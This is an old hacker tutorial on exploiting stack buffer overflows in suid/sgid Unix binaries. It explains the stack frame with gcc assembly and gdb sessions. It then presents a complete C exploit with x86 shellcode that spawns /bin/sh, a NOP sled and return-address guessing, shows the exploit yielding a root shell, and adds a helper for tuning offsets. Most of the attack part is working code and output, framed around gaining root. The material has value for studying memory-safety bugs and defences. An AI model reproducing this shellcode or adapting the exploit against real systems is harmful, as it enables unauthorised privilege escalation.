An Introduction to executing arbituary code via stack overflows
---------------------------------------------------------------
Before we delve into the technical details here's a little background.
Suid/sgid binaries
------------------
one of the problems with multiuser operating systems is that you will
eventually need to allow users to perform functions which require root
privledges -- be it changing a password, gecos field information, or
accessing restricted devices. Rather than give the user complete control
over the system by giving them root privledges you can make a program
that will do what the user wants as root and thus they cannot do anything
that my comprimise system security. You do this with a suid/sgid binary:
-rwsr-xr-x 1 root root 44705 Jul 1 00:49 /usr/bin/passwd
when the user (whoever he/she may be) executes /usr/bin/passwd the user's
uid/gid is changed to root and the binary is executed. After completing
execution the user's uid/gid is changed back to what it was.
Unfortunately people who write suid/sgid bins have to be very careful to
not execute anything that the user may comprimise security with. One of
the things that suid/sgid writers have to be careful of is copying data
into buffers without a limit on the number of characters that may be
copied. This is where we come in. By copying more data than the buffer
can contain we can overwrite important parts of the stack and execute
arbituary code.
Overflow sploits
----------------
ok.. what is an overflow sploit? well.. lets have a look at some code:
void main(int argc, char **argv, char **envp) {
char s[1024];
strcpy(s,getenv("TERM"));
}
this is a really common peice of code.. and many a sploit is based around
just this kind of oversight. So exactly what is wrong with this and how
can we exploit it? ok.. lets have a look, suppose this file is called
"simple".
$ export TERM="01234567890123456789012345678901234567890123456789012345678
90123456789012345678901234567890123456789012345678901234567890123456789012
34567890123456789012345678901234567890123456789012345678901234567890123456
78901234567890123456789012345678901234567890123456789012345678901234567890
12345678901234567890123456789012345678901234567890123456789012345678901234
56789012345678901234567890123456789012345678901234567890123456789012345678
90123456789012345678901234567890123456789012345678901234567890123456789012
34567890123456789012345678901234567890123456789012345678901234567890123456
78901234567890123456789012345678901234567890123456789012345678901234567890
12345678901234567890123456789012345678901234567890123456789012345678901234
56789012345678901234567890123456789012345678901234567890123456789012345678
90123456789012345678901234567890123456789012345678901234567890123456789012
34567890123456789012345678901234567890123456789012345678901234567890123456
78901234567890123456789012345678901234567890123456789012345678901234567890
123456789"
$ ./simple
Segmentation fault
In case you missed that first bit.. we're setting the variable TERM to
over 1024 characters. We then execute simple and it gives us a
segmentation fault. Why? Well, to understand that we need to know
exactly what is happening. Do the following:
$ cat simple.c
#include <simple.h>
#include <stdlib.h>
void main(int argc,char **argv,char **envp) {
char s[1024];
strcpy(s,getenv("TERM"));
}
$ gcc simple.c -S
$ cat simple.s
.file "simple.c"
.version "01.01"
gcc2_compiled.:
.section .rodata
.LC0:
.string "TERM"
.text
.align 16
.globl main
.type main,@function
main:
pushl %ebp
movl %esp,%ebp
subl $1024,%esp
pushl $.LC0
call getenv
addl $4,%esp
movl %eax,%eax
pushl %eax
leal -1024(%ebp),%eax
pushl %eax
call strcpy
addl $8,%esp
.L1:
movl %ebp,%esp
popl %ebp
ret
.Lfe1:
.size main,.Lfe1-main
.ident "GCC: (GNU) 2.7.0"
$
ok.. so that's a bit and now we need to know something. We need to know
a little x86 asm.. That's a little beyond the scope of this article so
you might want to check out a book or two.. Anyways.. here's the
important bits of that output:
pushl %ebp
movl %esp,%ebp
subl $1024,%esp
..
ret
The first two lines are called "setting up a stack frame" and is a
standard part of code compiled by a c compiler. The third line here is
allocating space on the stack for the "s" variable in our c code back up
there. From this we can get an idea about what the stack looks like:
+-------------+ -1024(%ebp)
| 1024 bytes | (s variable)
+-------------+ 0(%ebp)
| ebp |
+-------------+ 4(%ebp)
| ret addr |
+-------------+ 8(%ebp)
| argc |
+-------------+ 12(%ebp)
| argv |
+-------------+ 16(%ebp)
| envp |
+-------------+
ok.. so what happens when we do a strlen of the environment variable TERM
that is bigger than 1024 bytes? We start copying to -1024(%ebp) and go
to -1023(%ebp) and so on and we SHOULD stop before 0(%ebp) but we dont,
we keep going and copy over the value of ebp stored on the stack and the
return address. So what happens when we get to that ret down the
bottom? Well the value of the return address has been overwritten and
destroyed so it ends up jumping into the middle of nowhere, that is,
unless we make it jump to somewhere useful.
GDB - your new friend
---------------------
GDB or the GNU symbolic debugger. Using this useful util we can actually
look at what happens. Our previous example:
$ export TERM="01234567890123456789012345678901234567890123456789012345678
90123456789012345678901234567890123456789012345678901234567890123456789012
34567890123456789012345678901234567890123456789012345678901234567890123456
78901234567890123456789012345678901234567890123456789012345678901234567890
12345678901234567890123456789012345678901234567890123456789012345678901234
56789012345678901234567890123456789012345678901234567890123456789012345678
90123456789012345678901234567890123456789012345678901234567890123456789012
34567890123456789012345678901234567890123456789012345678901234567890123456
78901234567890123456789012345678901234567890123456789012345678901234567890
12345678901234567890123456789012345678901234567890123456789012345678901234
56789012345678901234567890123456789012345678901234567890123456789012345678
90123456789012345678901234567890123456789012345678901234567890123456789012
34567890123456789012345678901234567890123456789012345678901234567890123456
78901234567890123456789012345678901234567890123456789012345678901234567890
123456789"
$ gdb simple
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.14 (i486-slackware-linux),
Copyright 1995 Free Software Foundation, Inc...(no debugging symbols found)...
(gdb) break main
Breakpoint 1 at 0x80004e9
(gdb) run
Starting program: simple
Breakpoint 1, 0x80004e9 in main ()
(gdb) disass
Dump of assembler code for function main:
0x80004e0 <main>: pushl %ebp
0x80004e1 <main+1>: movl %esp,%ebp
0x80004e3 <main+3>: subl $0x400,%esp
0x80004e9 <main+9>: pushl $0x8000548
0x80004ee <main+14>: call 0x80003d8 <getenv>
0x80004f3 <main+19>: addl $0x4,%esp
0x80004f6 <main+22>: movl %eax,%eax
0x80004f8 <main+24>: pushl %eax
0x80004f9 <main+25>: leal 0xfffffc00(%ebp),%eax
0x80004ff <main+31>: pushl %eax
0x8000500 <main+32>: call 0x80003c8 <strcpy>
0x8000505 <main+37>: addl $0x8,%esp
0x8000508 <main+40>: movl %ebp,%esp
0x800050a <main+42>: popl %ebp
0x800050b <main+43>: ret
0x800050c <main+44>: nop
0x800050d <main+45>: nop
0x800050e <main+46>: nop
0x800050f <main+47>: nop
End of assembler dump.
(gdb) break *0x800050b
Breakpoint 2 at 0x800050b
(gdb) cont
Continuing.
Breakpoint 2, 0x800050b in main ()
(gdb) stepi
0x37363534 in __fpu_control ()
(gdb) stepi
Program received signal SIGSEGV, Segmentation fault.
0x37363534 in __fpu_control ()
(gdb)
ok.. so we get a segmentation fault.. why? well cause there's no code at
address 0x37363534. lets have a look at the stack:
$ gdb simple
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.14 (i486-slackware-linux),
Copyright 1995 Free Software Foundation, Inc...(no debugging symbols found)...
(gdb) break main
Breakpoint 1 at 0x80004e9
(gdb) run
Starting program: simple
Breakpoint 1, 0x80004e9 in main ()
(gdb) info registers
eax 0x0 0
ecx 0xc 12
edx 0x0 0
ebx 0x0 0
esp 0xbffff800 0xbffff800
ebp 0xbffffc04 0xbffffc04
esi 0x50000000 1342177280
edi 0x50001df0 1342184944
eip 0x80004ee 0x80004ee
ps 0x382 898
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x2b 43
gs 0x2b 43
(gdb) x/5xw 0xbffffc04
0xbffffc04 <__fpu_control+3087001064>: 0xbffff8e8 0x08000495
0x00000001 0xbffffc18
0xbffffc14 <__fpu_control+3087001080>: 0xbffffc20
(gdb)
the first value here (0xbffff8e8) is the value of ebp before it was
pushed onto the stack. The next value is the return address. The
0x00000001 is argc and 0xbffffc18 is argv and the 0xbffffc20 is envp. So
if we were to copy 1024 + 8 bytes we could overwrite the return address
and make it jump back to our code (that we also copy there). So lets
skip to the chase. If we set TERM to:
<lots of nops><some code to execute a shell><a return address>
when we get to the ret it'll return to the nops and continue down to the
code which executes a shell. The only problem we have now is what the
return address should be. The perfect return address would be 0xbffff804
but it's rather unlikely that we would have that information when we
write the sploit so we try to estimate it. Here is the sploit for our
"simple" example:
long get_esp(void)
{
__asm__("movl %esp,%eax\n");
}
char *realegg =
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
"\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
"\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";
/*char *realegg="\xeb\xfe\0";*/
char s[1034];
int i;
char *s1;
#define STACKFRAME (0xc00 - 0x818)
void main(int argc,char **argv,char **envp) {
strcpy(s,"TERM=");
s1 = s+5;
while (s1<s+1028+5-strlen(realegg)) *(s1++)=0x90;
while (*realegg) *(s1++)=*(realegg++);
*((unsigned long *)s1)=get_esp()+16-1028-STACKFRAME;
printf("%08X\n",*((long *)s1));
s1+=4;
*s1=0;
putenv(s);
system("bash");
}
The first thing we do is copy TERM= into a string. We then pad out the s
variable with nops and add the egg (the floating peice of code which
executes a shell) to the end of the variable and then add the return
address. We then call putenv to set the variable and execute a shell.
We execute a shell rather than just calling "simple" so that we can use
gdb to debug it. The "get_esp" routine gets the current value of esp
(which may change from machine to machine). Lets have a look:
$ ./sploit
BFFFF418
bash$ ./simple
bash$
nothing too amazing.. but have a look at this:
$ ls -l simple
-rwsr-xr-x 1 root root 4032 Oct 2 18:46 simple*
$ ./sploit
BFFFF418
bash$ ./simple
bash#
we have root. This is why we do overflow sploits.
The only really tricky part about coding overflow sploits is getting the
STACK_FRAME define correct. To aid us in this we use a little program
called whatesp:
long getesp() {
__asm__("movl %esp,%eax");
}
void main() {
printf("%08X\n",getesp()+4);
}
when you execute whatesp it prints out the value of esp before the stack
frame is setup (before the pushl %ebp, movl %esp,%ebp). So once you have
your sploit ready to rock do:
$ ./sploit
BFFFF41C
bash$ ./whatesp
BFFFF818
the second value you see here BFFFF818 you will notice is the value used
in STACK_FRAME up there (0x818). If you want to gdb and see the sploit
going:
$ ./sploit
BFFFF418
bash$ gdb whatesp
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.14 (i486-slackware-linux),
Copyright 1995 Free Software Foundation, Inc...(no debugging symbols found)...
(gdb) run
Starting program: whatesp
BFFFF7FC
Program exited with code 011.
(gdb)
and replace the 0x818 value in the STACK_FRAME define with 0x7fc. You
can then actually watch the sploit execute.
That's all yall
---------------
That concludes the overflow tutorial. To those of you who saw the first
version of this tutorial, I'm sorry the sploit didnt work. That's what
happens when you give it to someone to look over and someone steals it
out of their homedir.
QuantumG